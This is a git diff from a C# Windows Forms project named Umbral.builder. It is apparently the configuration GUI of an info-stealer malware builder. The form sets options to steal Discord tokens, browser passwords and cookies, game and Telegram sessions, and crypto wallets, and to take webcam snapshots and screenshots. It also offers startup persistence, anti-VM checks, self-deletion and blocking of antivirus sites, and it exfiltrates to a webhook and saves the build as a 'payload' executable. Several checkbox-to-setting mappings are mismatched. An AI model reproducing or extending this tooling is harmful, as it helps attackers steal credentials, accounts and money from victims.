a/Umbral.builder/Components/Forms/MainForm.cs b/Umbral.builder/Components/Forms/MainForm.cs new file mode 100644 index 0000000..7e9566d --- /dev/null +++ b/Umbral.builder/Components/Forms/MainForm.cs @@ -0,0 +1,195 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net.Http; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using System.Web; +using System.Windows.Forms; +using Umbral.builder.Components.Build; + + +namespace Umbral.builder.Components.Forms +{ + public partial class MainForm : Form + { + public MainForm() + { + InitializeComponent(); + } + + [DllImport("user32.dll")] + static extern private int SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); + + [DllImport("user32.dll")] + static extern private bool ReleaseCapture(); + + private void Drag_On_Mousedown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + ReleaseCapture(); + SendMessage(Handle, 0xA1, 0x2, 0); + } + } + + private void buttonClose_Click(object sender, EventArgs e) + { + Close(); + } + + private void buttonMinimize_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + } + + private void RefreshControls() + { + Settings.Webhook = txtWebhook.Text; + + Settings.Ping = chkPing.Checked; + Settings.Startup = chkStartup.Checked; + Settings.AntiVm = chkAntiVm.Checked; + Settings.Melt = chkMelt.Checked; + Settings.BlockAvSites = chkBlockAvSites.Checked; + + Settings.StealDiscordTokens = chkDiscord.Checked; + Settings.StealPasswords = chkPasswords.Checked; + Settings.StealCookies = chkCookies.Checked; + Settings.StealGames = chkGames.Checked; + Settings.StealTelegramSessions = chkGames.Checked; + Settings.StealSystemInfo = chkTelegram.Checked; + Settings.StealWallets = chkWallets.Checked; + Settings.TakeWebcamSnapshot = chkSystemInfo.Checked; + Settings.TakeScreenshot = chkWallets.Checked; + + var isWebhookValid = (Settings.Webhook.StartsWith("http://") || Settings.Webhook.StartsWith("https://")) && Settings.Webhook.Contains("."); + btnBuild.Enabled = (Settings.StealDiscordTokens || Settings.StealPasswords || Settings.StealCookies || Settings.StealGames || Settings.StealTelegramSessions || Settings.StealSystemInfo || Settings.StealWallets || Settings.TakeWebcamSnapshot || Settings.TakeScreenshot) && isWebhookValid; + } + + private async void btnCheckWebhook_Click(object sender, EventArgs e) + { + if (txtWebhook.Text.Length == 0) + { + MessageBox.Show("Webhook cannot be empty.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Stop); + } + else if ((!txtWebhook.Text.StartsWith("https://") && !txtWebhook.Text.StartsWith("http://")) || !txtWebhook.Text.Contains(".")) + { + MessageBox.Show("Webhook is invalid.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Stop); + } + else + { + btnCheckWebhook.Enabled = false; + btnBuild.Enabled = false; + txtWebhook.Enabled = false; + + try + { + using (var client = new HttpClient()) + { + var response = await client.GetAsync(txtWebhook.Text); + if (response.StatusCode == System.Net.HttpStatusCode.OK) + { + MessageBox.Show("The webhook seems to be valid.", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("The webhook seems to be invalid.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Stop); + } + } + } + catch (Exception) + { + MessageBox.Show("Unable to connect to the webhook.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Stop); + } + + + btnCheckWebhook.Enabled = true; + txtWebhook.Enabled = true; + RefreshControls(); + } + } + + private void txtWebhook_TextChanged(object sender, EventArgs e) + { + RefreshControls(); + } + + private void CheckedChanged(object sender, Bunifu.UI.WinForms.BunifuCheckBox.CheckedChangedEventArgs e) + { + RefreshControls(); + } + + private void btnIconSelect_Click(object sender, EventArgs e) + { + var tag = btnIconSelect.Tag as string; + if (tag == "NoIcon") + { + using (var openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "Icon File (*.ico)|*.ico"; + openFileDialog.Title = "Select Icon File"; + openFileDialog.ValidateNames = true; + openFileDialog.CheckFileExists = true; + openFileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures); + + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + if (File.Exists(openFileDialog.FileName)) + { + Settings.IconPath = openFileDialog.FileName; + btnIconSelect.Tag = "Icon"; + btnIconSelect.Text = "Unselect Icon"; + } + } + } + } + else + { + btnIconSelect.Tag = "NoIcon"; + Settings.IconPath = string.Empty; + btnIconSelect.Text = "Select Icon"; + } + } + + private void btnModifyAssembly_Click(object sender, EventArgs e) + { + new AssemblyEditorForm().ShowDialog(); + } + + private void btnBuild_Click(object sender, EventArgs e) + { + using (var saveFileDialog = new SaveFileDialog()) + { + saveFileDialog.Filter = "Executable File (*.exe)|*.exe"; + saveFileDialog.Title = "Save payload"; + saveFileDialog.FileName = "Umbral.exe"; + saveFileDialog.ValidateNames = true; + + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + btnBuild.Enabled = false; + btnCheckWebhook.Enabled = false; + btnModifyAssembly.Enabled = false; + btnIconSelect.Enabled = false; + txtWebhook.Enabled = false; + + var builder = new Builder(); + builder.Build(saveFileDialog.FileName); + + btnBuild.Enabled = true; + btnCheckWebhook.Enabled = true; + btnModifyAssembly.Enabled = true; + btnIconSelect.Enabled = true; + txtWebhook.Enabled = true; + } + } + } + + } +} diff --git a/Umbral.builder/Components/Forms/MainForm.resx b/Umbral.builder/Components/Forms/MainForm.resx new file mode 100644 index 0000000..bc02180 --- /dev/null +++ b/Umbral.builder/Components/Forms/MainForm.resx @@ -0,0 +1,364 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + #bunifu-label { padding: 0px; margin: auto; padding-top: 0px;font-family: 'Segoe UI'; font-size: 9.75pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: center; } + + + 17, 17 + + + 97 + + + 193, 17 + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAAQUAAAA8CAYAAABvlK9AAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADSSURBVHhe7dRBEYAwEMDA+jeHFBwc0M7wiIfdVxRkzcz1 + AHz2D9aOBfA5PzAF4GcKQJgCEKYAhCkAYQpAmAIQpgCEKQBhCkCYAhCmAIQpAGEKQJgCEKYAhCkAYQpA + mAIQpgCEKQBhCkCYAhCmAIQpAGEKQJgCEKYAhCkAYQpAmAIQpgCEKQBhCkCYAhCmAIQpAGEKQJgCEKYA + hCkAYQpAmAIQpgCEKQBhCkCYAhCmAIQpAGEKQJgCEKYAhCkAYQpAmAIQpgCEKQBxfjAz9w6AmblfqKTu + BL3jhXUAAAAASUVORK5CYII= + + + + #bunifu-label { padding: 0px; margin: auto; padding-top: 0px;font-family: 'Segoe UI'; font-size: 9pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: center; } + + + + iVBORw0KGgoAAAANSUhEUgAAAQUAAAA8CAYAAABvlK9AAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADSSURBVHhe7dRBEYAwEMDA+jeHFBwc0M7wiIfdVxRkzcz1 + AHz2D9aOBfA5PzAF4GcKQJgCEKYAhCkAYQpAmAIQpgCEKQBhCkCYAhCmAIQpAGEKQJgCEKYAhCkAYQpA + mAIQpgCEKQBhCkCYAhCmAIQpAGEKQJgCEKYAhCkAYQpAmAIQpgCEKQBhCkCYAhCmAIQpAGEKQJgCEKYA + hCkAYQpAmAIQpgCEKQBhCkCYAhCmAIQpAGEKQJgCEKYAhCkAYQpAmAIQpgCEKQBxfjAz9w6AmblfqKTu + BL3jhXUAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAAFcAAAAgCAYAAABn7+QVAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABxSURBVGhD7dAxEcAwEAPB508uUMzAycQYfN2eGtU7s+eZ + 167vdz1H9zuucJvghsENgxsGNwxuGNwwuGFww+CGwQ2DGwY3DG4Y3DC4YXDD4IbBDYMbBjcMbhjcMLhh + cMPghsENgxsGN+y47lnn2N3tWR9uT9G4T9b0xQAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAAFcAAAAgCAYAAABn7+QVAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAB3SURBVGhD7dDBDYNAEATBzT85QiGDPRtioH/V0kjzrtmd + 65w59u0e1/+bM/q81xVuE9wwuGFww+CGwQ2DGwY3DG4Y3DC4YXDD4IbBDYMbBjcMbhjcMLhhcMPghsEN + gxsGNwxuGNwwuGFww+CGva67cz/Hvt3u3D/OjLrZC155CgAAAABJRU5ErkJggg== + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + #bunifu-label { padding: 0px; font-family: 'Segoe UI'; font-size: 12pt; width: 100%; height: 100%; font-style: normal; font-weight: normal; text-decoration: none; color: rgb(255, 255, 255); text-align: left; } + + + + iVBORw0KGgoAAAANSUhEUgAAABUAAAAVCAYAAACpF6WWAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADTSURBVDhP7ZQhDsJAEEV7DCQS2SMgkUgkEolE1lVyBI6A + 5BiVHAGJxLW8P7ObJmQTYBIESX/yM7O/O2/XdKufaxiGGV7i5hv3fb+izhNmFGHNxxs1JGYflG3C+Q0z + kHrFR9rirV7N3hZ39BlcZ+g6hZ0FATF7EgMdLKDRqYK2FgQkmBioyYFBVS0ISLOOmKDFICDNOmKCFoOA + NOuIv4Pyz++0op4tCEgwMVRzsPC1PyoUbfjYzOzxnV7zK4NKrPMrExbAS8KN0il8K97mnZndOKWqns6I + vOL7OjmPAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAA2sAAAAgCAYAAACMwuCiAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAD7SURBVHhe7dcxDQMxEEVB8+dznYvjERgBkIsVN0HgV8yX + RistgzfMzMzMzMwsuuu6Xvd9fwAAADhr9dlOtTHW43sAAAA4bPfZb2INAACgQawBAAAEiTUAAIAgsQYA + ABAk1gAAAILEGgAAQJBYAwAACBJrAAAAQWINAAAgSKwBAAAEiTUAAIAgsQYAABAk1gAAAILEGgAAQJBY + AwAACBJrAAAAQWINAAAgSKwBAAAEiTUAAIAgsQYAABAk1gAAAILEGgAAQJBYAwAACBJrAAAAQWINAAAg + SKwBAAAEiTUAAICgv1ibc77XAwAAgLNWn+1UMzMzMzMzs9bGeAAJcMRU/3PmPwAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/Umbral.builder/Components/Utilities/Common.cs b/Umbral.builder/Components/Utilities/Common.cs new file mode 100644 index 0000000..b98b02a --- /dev/null +++ b/Umbral.builder/Components/Utilities/Common.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Umbral.builder.Components.Utilities +{ + internal static class Common + { + internal static string GenerateRandomString(int length) + { + Random random = new Random(); + string chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + StringBuilder result = new StringBuilder(); + + for (int i = 0; i < length; i++) + result.Append(chars[random.Next(0, chars.Length)]); + + return result.ToString(); + } + + } +} diff --git a/Umbral.builder/MainForm.Designer.cs b/Umbral.builder/MainForm.Designer.cs deleted file mode 100644 index b8f577e..0000000 --- a/Umbral.builder/MainForm.Designer.cs +++ /dev/null @@ -1,205 +0,0 @@ -using Umbral.builder.User_Controls; - -namespace Umbral.builder -{ - partial class MainForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MainForm)); - this.MenuPanel = new System.Windows.Forms.Panel(); - this.panel1 = new System.Windows.Forms.Panel(); - this.AboutTabButton = new System.Windows.Forms.Button(); - this.SoonTabButton = new System.Windows.Forms.Button(); - this.label1 = new System.Windows.Forms.Label(); - this.BuilderTabButton = new System.Windows.Forms.Button(); - this.AssemblyTabButton = new System.Windows.Forms.Button(); - this.GeneralTabButton = new System.Windows.Forms.Button(); - this.FrontPanel = new System.Windows.Forms.Panel(); - this.DropperTab = new Umbral.builder.User_Controls.Soon(); - this.aboutTab = new Umbral.builder.User_Controls.AboutTab(); - this.builderTab = new Umbral.builder.User_Controls.BuilderTab(); - this.assemblyTab = new Umbral.builder.User_Controls.AssemblyTab(); - this.generalTab = new Umbral.builder.User_Controls.GeneralTab(); - this.MenuPanel.SuspendLayout(); - this.panel1.SuspendLayout(); - this.FrontPanel.SuspendLayout(); - this.SuspendLayout(); - // - // MenuPanel - // - this.MenuPanel.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(26)))), ((int)(((byte)(26)))), ((int)(((byte)(26))))); - this.MenuPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.MenuPanel.Controls.Add(this.panel1); - this.MenuPanel.Controls.Add(this.BuilderTabButton); - this.MenuPanel.Controls.Add(this.AssemblyTabButton); - this.MenuPanel.Controls.Add(this.GeneralTabButton); - resources.ApplyResources(this.MenuPanel, "MenuPanel"); - this.MenuPanel.Name = "MenuPanel"; - // - // panel1 - // - this.panel1.Controls.Add(this.AboutTabButton); - this.panel1.Controls.Add(this.SoonTabButton); - this.panel1.Controls.Add(this.label1); - resources.ApplyResources(this.panel1, "panel1"); - this.panel1.Name = "panel1"; - // - // AboutTabButton - // - resources.ApplyResources(this.AboutTabButton, "AboutTabButton"); - this.AboutTabButton.FlatAppearance.BorderSize = 0; - this.AboutTabButton.ForeColor = System.Drawing.Color.White; - this.AboutTabButton.Name = "AboutTabButton"; - this.AboutTabButton.UseVisualStyleBackColor = true; - this.AboutTabButton.Click += new System.EventHandler(this.AboutTabButton_Click); - // - // SoonTabButton - // - resources.ApplyResources(this.SoonTabButton, "SoonTabButton"); - this.SoonTabButton.FlatAppearance.BorderSize = 0; - this.SoonTabButton.ForeColor = System.Drawing.Color.White; - this.SoonTabButton.Name = "SoonTabButton"; - this.SoonTabButton.UseVisualStyleBackColor = true; - this.SoonTabButton.Click += new System.EventHandler(this.DropperTabButton_Click); - // - // label1 - // - this.label1.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; - resources.ApplyResources(this.label1, "label1"); - this.label1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); - this.label1.Name = "label1"; - // - // BuilderTabButton - // - resources.ApplyResources(this.BuilderTabButton, "BuilderTabButton"); - this.BuilderTabButton.FlatAppearance.BorderSize = 0; - this.BuilderTabButton.ForeColor = System.Drawing.Color.White; - this.BuilderTabButton.Name = "BuilderTabButton"; - this.BuilderTabButton.UseVisualStyleBackColor = true; - this.BuilderTabButton.Click += new System.EventHandler(this.BuilderTabButton_Click); - // - // AssemblyTabButton - // - resources.ApplyResources(this.AssemblyTabButton, "AssemblyTabButton"); - this.AssemblyTabButton.FlatAppearance.BorderSize = 0; - this.AssemblyTabButton.ForeColor = System.Drawing.Color.White; - this.AssemblyTabButton.Name = "AssemblyTabButton"; - this.AssemblyTabButton.UseVisualStyleBackColor = true; - this.AssemblyTabButton.Click += new System.EventHandler(this.AssemblyTabButton_Click); - // - // GeneralTabButton - // - resources.ApplyResources(this.GeneralTabButton, "GeneralTabButton"); - this.GeneralTabButton.FlatAppearance.BorderSize = 0; - this.GeneralTabButton.ForeColor = System.Drawing.Color.White; - this.GeneralTabButton.Name = "GeneralTabButton"; - this.GeneralTabButton.UseVisualStyleBackColor = true; - this.GeneralTabButton.Click += new 